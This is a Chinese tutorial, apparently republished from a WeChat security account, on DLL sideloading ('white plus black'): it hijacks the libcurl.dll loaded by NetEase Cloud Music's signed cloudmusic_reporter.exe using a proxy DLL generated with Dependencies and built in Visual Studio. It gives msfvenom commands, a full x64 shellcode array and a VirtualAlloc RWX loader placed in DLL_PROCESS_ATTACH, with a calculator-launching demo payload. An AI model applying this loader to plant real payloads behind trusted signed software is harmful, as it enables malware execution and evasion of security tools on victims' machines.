dll劫持——白加黑x64和x86通杀教程
★
这期方法还是基于上面这篇文章为主,个人也是踩了很多坑才搞定(篇幅有限原文我已经和工具放在一起了,公众号后台回复“白加黑”获取)
寻找白文件
1.打开网易云音乐的安装包,这里我下载的是网易云的最新版本
网易云下载链接
这里怀旧版是x86框架
最新版是x64
2.找到一个它的安装目录
cloudmusic_reporter这个文件就是我们一会要用白文件,现在我们把它单独复制到一个文件夹里面
★
这里有第一个坑点:一定注意你的文件路径不能包含中文
★
这是我之前用的路径,它就包含一个中文路径,导致后面生成文件的时候报错
3.我在D盘建立一个test文件专门存放网易云的白文件
然后点击运行这个白文件,他会提示缺少一个dll文件
这是时候我们根据它给我们提示的文件名去安装目录里面找一下,找到后也给他复制到这个test文件下
★
这里和最上面的教程文档有出入,当你添加完dll文件后,再次点击第一个exe程序,并没有生成一个debug.log的日志,这个我测试过怀旧版有概率会出现,但是最新版没有,但是不管有没有都不影响我们后续的操作
DLL函数模仿
1.这里需要用到一个工具Dependencies
工具已经在后台打包好了,公众号回复“白加黑”获取
2.下载完成后同样解压到英文路径下打开,找到我上面圈出来的exe程序(DependenciesGui)然后打开运行
然后你把dll文件拖入到这个里面
拖进去后如下所示:
3.选中这个libcurl.dll->->AHeadLib Codegen
选择一个导出的目录
★
建议在选择之前就在英文路径下建好一个文件夹,专门存放等会生成的文件
4.success后我们打开文件看一下
此时就导出了三个文件
-
头文件 -
源文件 -
汇编文件
分析生成黑DLL
使用 Visual Studio 创建 win64动态链接库(.dll)
这里原文是创建win32的动态链接库,但是我这里是64的,所以创建64的,创建过相同,只不过Visual Studio版本不一样,不过不影响结果
1.创建新项目
2.选择动态链接库
如果这里打开什么都没有,你需要根据提示去下载一下vs提供的模板,网速快的话几分钟就会安装好。
点击下一步进行创建
★
踩坑点:这里一定不能含有中文!和原来的文档不一样,原来的文档改写中文名称不报错,但是我们改成中文会报错,所以全部安装驼峰命名的规则来
3.然后点击创建
创建成功后会看见几个项目文件,这里我们在文件夹里打开看看
4.这里就是全部创建的项目文件了
★
避坑点:这里不需要删除pch.cpp和pch.h文件,删了会报错
现在我们把刚刚生成的那三个文件给它复制粘贴进来
复制完毕
5.进入到工程,首先把编译改成 Release x64模式
★
避坑点:这里我们是x64框架所以选择x64,不能选择x86否则最后生成的时候报错9009
这里我已经改好了
6.在项目了添加我们刚刚复制的三个文件
点击头文件>右键点开选,选择添加>现有项
选择这个 libcurl.h 文件进行添加
然后点击源文件>添加>现有项
源文件添加 libcurl.c 和 libcurl_jump.asm 这两个文件
最终目录核对
分析:
★
接下来看一下具体这些文件都有什么作用
libcurl.c 这个文件运行的时候会获取dll****内的函数并将其保存到指针内
指针会去改变原本的函数地址进行链接,使用汇编的方式进行跳转,也就是 libcurl_jump.asm 这 个文件
1.由于不需要用到跳转所以采用最笨的方法,去汇编文件内手动删除跳转 jmp
一直删除到最后END为止
★
这里有个需要注意的地方,我们生成的asm文件是没有.CODE的
设置汇编头文件(最重要的部分)
其实在汇编文件头部的注释就已经写了如何设置,这里还是再演示一遍
1.右键点击libcurl_jump.asm,打开属性
项类型:自定义生成工具
从生成中排除:否
设置完后窗口会刷新一下,左边会弹出来>自定义生成工具的选项
2.点击后会看到一个命令行和输出都是空着
3.把头文件里面注释的内容复制进来
★
这里我们的命令里面带着ml64,切记不要给64删掉,这是和之前的文档一大区别
如果粘贴过程中出现新的弹窗一路确定和保存就行
4.还需要在 dllmain.cpp 的头部引用 libcurl.h 头文件
5.这时候我们直接生成会报错
6.右键 dllmain.cpp -> 属性
将预编译头修改成不使用预编译头
这里哪个 .cpp 文件报错就按照如上的设置不使用预编译头
此时编译,能够生成 DLL 就是成功了
添加****shellcode
1.在 dllmain.cpp 文件中的 case DLL_PROCESS_ATTACH: 后面添加一个 {}
我们的所有操作就在这个 {} 中执行
x86命令:msfvenom -p windows/exec cmd=calc.exe -f c x64命令:msfvenom -p windows/x64/exec CMD=calc.exe -f c
2.然后就跟正常的加载 shellcode 一样
//x64的分配内存代码:char* v7A = (char*)VirtualAlloc(0, sizeof(buf), 0x3000u, 0x40u);memcpy((void*)v7A, buf, sizeof(buf));((void(*)())v7A)();//x86的分配内存代码:char* v7A = (char*)VirtualAlloc(0, _countof(buf), 0x3000u, 0x40u); memcpy((void*)v7A, buf, _countof(buf)); ((void(*)())v7A)();
这里命令和代码全部都要使用x64的代码
case DLL_PROCESS_ATTACH: {unsignedchar buf[] ="xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50""x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52""x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a""x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41""xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52""x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48""x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40""x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48""x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41""x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1""x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c""x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01""xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a""x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b""x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00""x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b""x6fx87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbd""x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0""x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff""xd5x63x61x6cx63x2ex65x78x65x00";//x64的分配内存代码:char* v7A = (char*)VirtualAlloc(0, sizeof(buf), 0x3000u, 0x40u);memcpy((void*)v7A, buf, sizeof(buf)); ((void(*)())v7A)();}
此时生成 DLL 并且将这个 DLL 的名字改成白 DLL 一样的名字
3.把之前网易云cloudmusic_reporter复制到文件夹里面,然后给dll文件改名
4.运行弹出计算器,成功!
原文始发于微信公众号(泷羽Sec-陌離):以网易云音乐为例,教你用Dependencies+VS快速生成恶意DLL,通过进程注入触发计算器弹窗!(x64与x86通杀技巧)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论